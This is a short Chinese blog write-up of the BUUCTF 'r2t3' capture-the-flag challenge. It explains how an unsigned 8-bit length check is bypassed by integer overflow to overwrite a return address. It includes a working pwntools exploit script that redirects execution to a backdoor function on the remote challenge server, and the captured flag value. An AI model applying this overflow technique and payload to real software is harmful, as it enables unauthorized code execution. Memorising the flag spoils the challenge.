BUUCTF-r2t3 writeup

checksec一下

 

 

 开启了NX防护

拖进IDA看看

 

 

 主函数这里输入了一个buf,但是这里并不能溢出

查看name_check函数

 

 

 这里发现将s连接在了dest后面,dest距离ebp有11h,可以通过s连接在dest后面对ebp进行覆盖

这里对s的长度进行了限制,必须要大于3小于等于8,观察v3的类型为usigned _int8,可以考虑整数溢出

usigned _int8最大可以表示为 11111111 即 255 超过了以后就会变成 0,所以我们要使s的长度在255+4到255+8之间

观察该函数的栈结构发现实际储存返回地址的位置应为ebp+4

在函数列表发现后门函数_dl_registery

所以可以构造Payload:

from pwn import *

p = remote('node3.buuoj.cn',27473)
#p = process('./r2t3')
r2t3 = ELF('./r2t3')
Payload = b'a' * 0x15 + p32(r2t3.sym['_dl_registery']) + b'a'*(260 - 4 - 0x15) 
#注意减去地址长度

p.sendline(Payload)
p.interactive()

运行得到sh,在根目录下发现flag

flag{9fb22ab1-4230-4a40-9cfe-2abddbf279f7}
posted @ 2021-03-07 15:57  KaguyaSaikou  阅读(106)  评论(0)    收藏  举报